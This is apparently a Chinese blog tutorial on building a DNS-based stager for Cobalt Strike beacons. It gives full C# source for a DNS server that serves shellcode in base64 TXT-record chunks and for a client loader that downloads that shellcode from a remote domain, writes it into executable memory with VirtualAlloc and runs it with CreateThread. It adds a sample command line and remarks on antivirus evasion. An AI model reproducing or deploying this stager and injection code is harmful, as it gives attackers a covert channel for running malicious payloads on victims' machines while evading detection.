警告
本文最后更新于 2021-01-14,文中内容可能已过时。
相比于http协议,dns协议有着更好的隐蔽性。类比cs的dns beacon,我们可以自己实现一个dns服务器来传输shellcode。C#拥有一个优秀的第三方库ARSoft.Tools.Net
。我们可以使用他来进行dns查询和自建dns服务器。
因为dns为递归查询,所以dns的数据最终会被我们的vps接收。而对比cs的dns传输,我们需要设计一个传输规范,规定哪部分为command,哪部分为data。
我所需要的只是一个传输隧道,而dns server只需要发送cs的bin数据包过来就可以。
设计一个流程图
新建一个.net4.0的控制台项目,安装ARSoft.Tools.Net,因为.net版本问题,我们需要安装低版本的ARSoft.Tools.Net。
实现一个dns server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
| using ARSoft.Tools.Net.Dns;
using System;
using System.IO;
using System.Linq;
using System.Net;
namespace SharpDNS
{
class Program
{
static Byte[] bytes;
static void Main(string[] args)
{
if (args.Length<1)
{
Console.WriteLine("SharpDNS.exe beacon.bin");
return;
}
bytes = ReadBeacon(args[0]);
using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery))
{
server.Start();
Console.WriteLine("Dns Server Start.");
Console.ReadLine();
}
}
static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress, System.Net.Sockets.ProtocolType protocol)
{
message.IsQuery = false;
DnsMessage query = message as DnsMessage;
string domain = query.Questions[0].Name;
// length.dns.test.local
// r.500.200.dns.test.local
string[] sp = domain.Split('.');
string command = sp[0];
if (command.Equals("length"))
{
Console.WriteLine("Contains Length");
query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString()));
message.ReturnCode = ReturnCode.NoError;
return message;
}
if (command.Equals("r"))
{
Console.WriteLine(domain);
try
{
int hasReceive = int.Parse(sp[1]);
int requireReceive = int.Parse(sp[2]);
Console.WriteLine("hasReceive length:{0},require reveive byte length:{1}", hasReceive, requireReceive);
Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
string sendString = Convert.ToBase64String(sendByte);
Console.WriteLine(sendString);
query.AnswerRecords.Add(new TxtRecord(domain, 0, sendString));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
message.ReturnCode = ReturnCode.NoError;
return message;
}
message.ReturnCode = ReturnCode.Refused;
return message;
}
static Byte[] ReadBeacon(string path)
{
Byte[] b = File.ReadAllBytes(path);
Console.WriteLine("ReadBeacon File Length:{0}", b.Length);
return b;
}
}
}
|
生成beancon.bin shellcode
使用nslookup可以看到成功处理了我们的dns请求。
wireshark抓到的包也成功返回了正确的beacon shellcode 长度。
然后在看下r.0.200.dns.test.local
的数据
也正确接收到了base64的分片shellcode。接下来看client的代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
| using ARSoft.Tools.Net.Dns;
using System;
using System.Collections.Generic;
using System.Net;
using System.Runtime.InteropServices;
namespace DnsLoader
{
class Program
{
static string dns;
static void Main(string[] args)
{
string domain = args[0];
dns = args[1];
long len = QueryLength(domain);
int requireReceive = int.Parse(args[2]);
List<byte> bytes = new List<byte> { };
for (int i = 0; i < len; i++)
{
int hasReceive = bytes.Count;
if (hasReceive == len)
{
Console.WriteLine("接收完毕");
break;
}
string rev = ClientQuery("r." + hasReceive.ToString() + "." + requireReceive.ToString() + "." + domain);
if (rev.Equals(null))
{
Console.WriteLine("dns 查询错误");
return;
}
byte[] b = Convert.FromBase64String(rev);
bytes.AddRange(b);
//Console.WriteLine(rev);
}
Console.WriteLine(bytes.Count);
if (bytes.Count != 0)
{
inject(bytes.ToArray());
}
}
public static long QueryLength(string domain)
{
long len = 0;
string l = ClientQuery("length." + domain);
bool success = Int64.TryParse(l, out len);
if (success)
{
return len;
}
else
{
return 0;
}
}
public static String ClientQuery(string domain)
{
List<IPAddress> dnss = new List<IPAddress> { };
dnss.AddRange(Dns.GetHostAddresses(dns));
var dnsClient = new DnsClient(dnss, 60);
DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
if ((dnsMessage == null) || ((dnsMessage.ReturnCode != ReturnCode.NoError) && (dnsMessage.ReturnCode != ReturnCode.NxDomain)))
{
Console.WriteLine("DNS request failed");
return null;
}
else
{
foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
{
TxtRecord txtRecord = dnsRecord as TxtRecord;
if (txtRecord != null)
{
return txtRecord.TextData.ToString();
}
}
return null;
}
}
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void inject(Byte[] buffer)
{
UInt32 MEM_COMMIT = 0x1000;
UInt32 PAGE_EXECUTE_READWRITE = 0x40;
UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0x0000;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
WaitForSingleObject(hThread, 0xffffffff);
}
}
}
|
成功拿到beacon。
注意的是dns的txt解析一次不能传输太多,我测试的时候用的2000没什么问题。
1
| DnsLoader.exe cdn.jdcdn.ga dns.jdcdn.ga 2000
|
dns的解析记录这么设置
vt查杀结果点我
- 通过别的协议是否更加隐蔽?
- 传输的只是shellcode,和分离免杀没区别,关键怎么绕过VirtualAlloc等api调用。
- 抠出来cs的功能一点点自己实现。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。